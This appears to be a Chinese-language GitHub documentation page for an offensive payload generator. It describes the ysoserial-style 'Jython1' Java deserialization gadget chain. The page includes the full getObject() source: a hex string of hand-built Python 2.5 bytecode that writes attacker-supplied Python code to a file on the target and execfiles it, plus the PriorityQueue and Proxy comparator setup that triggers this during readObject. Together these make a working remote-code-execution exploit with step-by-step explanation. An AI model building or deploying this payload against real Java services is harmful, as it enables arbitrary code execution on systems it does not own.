Skip to content

Latest commit

 

History

History
77 lines (66 loc) · 4.96 KB

File metadata and controls

77 lines (66 loc) · 4.96 KB

Jython1链(Jython1)

  • 类别:javanative 别名:— 优先级:—
  • 作者:pwntester、cschneider4711
  • 依赖org.python:jython-standalone:2.5.2、(间接)commons-ioFileUtils

作用

借助 Jython 的 PyFunction(实现了 Comparator)作为 PriorityQueue 的比较器,在 Java 原生反序列化触发 PriorityQueue.readObject → siftDown → comparator.compare 时,执行一段预置的 Python 字节码——该字节码把攻击者提供的 Python 源码写入目标文件并 execfile 执行它,实现 RCE。是经典 ysoserial Jython1 的移植。

链接标签

  • 入口 tagsJavaNativeDeserializeEND
    • JavaNativeDeserialize —— 承接 Java 原生反序列化入口(readObject)。
    • END —— 自成完整链尾,不再衔接其它 gadget。
  • 衔接 nextTags:无。
  • excludes:无。

源码剖析

public PriorityQueue getObject() throws Exception {
    String python_code = null;
    if (this.pythonCode != null && !this.pythonCode.isEmpty()) {
        python_code = this.pythonCode;
    } else if (this.localPath != null && !this.localPath.isEmpty()) {
        python_code = FileUtils.readFileToString(new File(this.localPath), "UTF-8");
    } else {
        ThrowsUtil.throwNotFoundOptionGadgetException("'pythonCode' or 'localPath'");
    }
  • Python 源码来源二选一:直接给 pythonCode,或从本地文件 localPath 读入。二者皆空则抛异常。
    String code = "7400006401006402008302007D00007C0000690100640300830100017C0000690200830000017403006401008301000164000053";
    PyObject[] consts = new PyObject[]{new PyString(""), new PyString(this.targetPath),
        new PyString("w+"), new PyString(python_code)};
    String[] names = new String[]{"open", "write", "close", "execfile"};
    PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names,
        new String[]{"", ""}, "noname", "<module>", 0, "");
    Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());
    PyFunction handler = new PyFunction(new PyStringMap(), null, (PyCode)codeobj);
  • 手工拼装一段 CPython 2.5 字节码 co_code:其反汇编等价于 f = open(targetPath, "w+"); f.write(python_code); f.close(); execfile(targetPath)consts 提供字符串常量(写入路径、打开模式、待写源码),names 提供全局名 open/write/close/execfile
  • 用该 PyBytecode 构造 PyFunction——关键点在于 PyFunction 实现了 java.util.Comparator,其 compare 会执行函数体字节码。
    Comparator comparator = (Comparator)Proxy.newProxyInstance(Comparator.class.getClassLoader(),
        new Class[]{Comparator.class}, (InvocationHandler)handler);
    PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
    Object[] queue = new Object[]{1, 1};
    Reflections.setFieldValue(priorityQueue, "queue", queue);
    Reflections.setFieldValue(priorityQueue, "size", 2);
    return priorityQueue;
}
  • 这里并未直接把 PyFunction 当比较器,而是再用动态代理把它包成 ComparatorPyFunction 本身可作 InvocationHandler)。
  • 反射把 PriorityQueue 的底层数组 queue 直接置为 {1, 1} 并把 size 设为 2,绕过 add()(避免构造期就触发 compare)。反序列化时 PriorityQueue.readObjectheapify → siftDown,对两个元素调用 comparator.compare(1, 1),从而执行预置 Python 字节码。

invoke 直接返回 getObject(),不依赖下游(END)。

参数(@Param)

字段 名称 说明 默认值 可选值
pythonCode python代码 直接给出的 Python 源码(requires=false,与 localPath 二选一)
localPath 本地 python 代码文件路径 从本地文件读取 Python 源码(requires=false,与 pythonCode 二选一)
targetPath 写入目标文件路径 目标机上写入的 py 文件路径,同时也会被 execfile 执行 py_tmp_file

适用版本与原理要点

  • 依赖 jython-standalone:2.5.2(预置字节码为 CPython 2.5 指令,绑定该版本)。目标 classpath 须存在 Jython。
  • 触发面为 Java 原生 PriorityQueue.readObject,因此可直接作为完整链用于任何允许原生反序列化的入口。
  • 副作用提示:会在目标磁盘 targetPath 落地一个 py 文件(默认 py_tmp_file),利用后需清理残留。
  • CommonsBeanutils1 同属「PriorityQueue + 恶意 Comparator」家族,但此处 Comparator 直接就是执行体,无需再接 getter sink。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。

关联

  • 同族(PriorityQueue/Comparator 触发模型):CommonsBeanutils1(比较器触发 getter,而非直接执行)。
  • 入口标签 JavaNativeDeserialize 与各 Java 原生反序列化 Payload 入口对接。